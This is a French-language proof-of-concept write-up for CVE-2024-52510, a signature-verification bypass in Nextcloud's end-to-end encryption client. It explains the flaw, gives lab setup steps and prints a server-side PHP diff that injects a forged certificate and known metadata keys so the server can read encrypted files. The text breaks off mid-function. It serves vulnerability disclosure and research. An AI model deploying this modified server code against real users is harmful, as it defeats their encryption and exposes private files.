
Preuve de concept pour CVE-2024-52510 démontrant un contournement de signature dans le protocole E2EEv2 de Nextcloud, permettant le déchiffrement côté serveur de fichiers chiffrés via l'injection de clés de métadonnées.
Pendant le fonctionnement normal du protocole E2EEv2 de Nextcloud, les clients signent cryptographiquement les métadonnées de dossier avant de les téléverser vers le serveur. Cela garantit que les métadonnées n'ont pas été altérées lorsqu'elles sont récupérées pour les besoins du partage de fichiers ou de la synchronisation des modifications.
La vérification de la signature est effectuée par le client dans
foldermetadata.cpp:177
lorsque les métadonnées récupérées sont initialisées. Cependant, il existe deux façons pour un serveur malveillant de contourner cette vérification :
Il peut répondre avec un en-tête X-E2EE-SIGNATURE vide. Puisque l'en-tête est vide, la condition à la ligne
foldermetadata.cpp:168
fait que la vérification de signature n'a pas lieu, et les métadonnées modifiées
sont acceptées par le client.
Il peut injecter un certificat dans le tableau JSON users, puis signer
les métadonnées avec ce certificat. Puisque CMS_NO_SIGNER_CERT_VERIFY est
passé à la ligne
clientsideencryption.cpp:941,
le certificat de signature n'est pas vérifié dans la chaîne et le client vérifie seulement
que le certificat de signature est présent dans le vecteur certificatePems
(clientsideencryption.cpp:955-971)
qui est contrôlé par le serveur.
Dans cette POC, nous démontrerons la deuxième méthode car elle est la plus difficile à implémenter, mais les deux ont été testées et fonctionnent.
Un serveur malveillant peut utiliser ce contournement pour fournir aux clients des clés de métadonnées connues du serveur. Les clients utiliseront ensuite cette clé de métadonnées pour chiffrer les fichiers suivants, permettant au serveur de déchiffrer et de lire les fichiers dans les dossiers chiffrés de bout en bout.
Cette façon d'exploiter le contournement de signature est basée sur une attaque découverte par Albrecht, Backendal, Coppola, Paterson en 2023 (https://eprint.iacr.org/2024/546) sur une version antérieure du protocole E2EE. En effet, l'authentification des clés de métadonnées était une stratégie d'atténuation pour l'attaque (voir la section 5.1 de l'article lié).
Clonez ce dépôt, et ouvrez-le dans VS Code en utilisant l'extension DevContainer. Un DevContainer basé sur celui du dépôt du serveur Nextcloud a été fourni avec les modifications suivantes :
mitmproxy est présent sur le port 7001. L'interface web est accessible sur le port 7002.encryption et end_to_end_encryption seront également activées, et un compte avec le nom d'utilisateur et le mot de passe sharer sera créé.Une fois le serveur opérationnel, connectez-vous-y à http://localhost:8000 (ou via le proxy inverse à http://localhost:7001) en utilisant le dernier client. Actuellement, j'ai testé cela sur l'AppImage v3.13.2.
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
Lorsque vous y êtes invité, connectez-vous avec le nom d'utilisateur sharer et le mot de passe sharer. Acceptez les options de synchronisation par défaut (création d'un répertoire ~/Nextcloud/ avec welcome.txt à l'intérieur), et configurez le chiffrement de bout en bout dans les paramètres du client Nextcloud.
Créez un nouveau dossier encrypted_folder dans le répertoire ~/Nextcloud. Dans les paramètres du client Nextcloud, marquez ce dossier comme chiffré.

Nextcloud/encrypted_folder, créez un simple fichier texte et attendez qu'il se synchronise.# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
Connectez-vous à la base de données Postgres dans Adminer à http://localhost:8080/ en utilisant les identifiants :
postgrespostgrespostgreset naviguez vers les tables oc_e2e_encryption_metadata et oc_e2e_encryption_decrypted. Vous devriez pouvoir voir les métadonnées déchiffrées et le contenu des fichiers en clair.

Les captures d'écran ci-dessus ont eu quelques fichiers de test supplémentaires créés et supprimés, donc elles seront légèrement différentes de ce que vous voyez.
Ce dépôt est basé sur les dépôts Nextcloud server et application de chiffrement de bout en bout. La plupart du code reste inchangé, je vais donc essayer d'expliquer ce qui a été modifié.
Tout d'abord, la méthode getMetadata de MetaDataStorage.php a été modifiée pour
altérer les métadonnées renvoyées en appelant une nouvelle méthode getFakeUserMetadata.
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
Dans la méthode getFakeUserMetadata, nous injectons d'abord un certificat choisi dans la clé JSON users. Cela permet de faciliter la contrefaçon de signature.
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* Ce n'est pas une métadonnée racine. Renvoyer normalement */
return json_encode($metaData);
}
/*
* Étape 1 : Injecter une fausse clé publique dans les métadonnées
* Cela peut être utilisé pour forger une signature pour la réponse.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Créer une nouvelle clé privée pour l'utilisateur factice */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);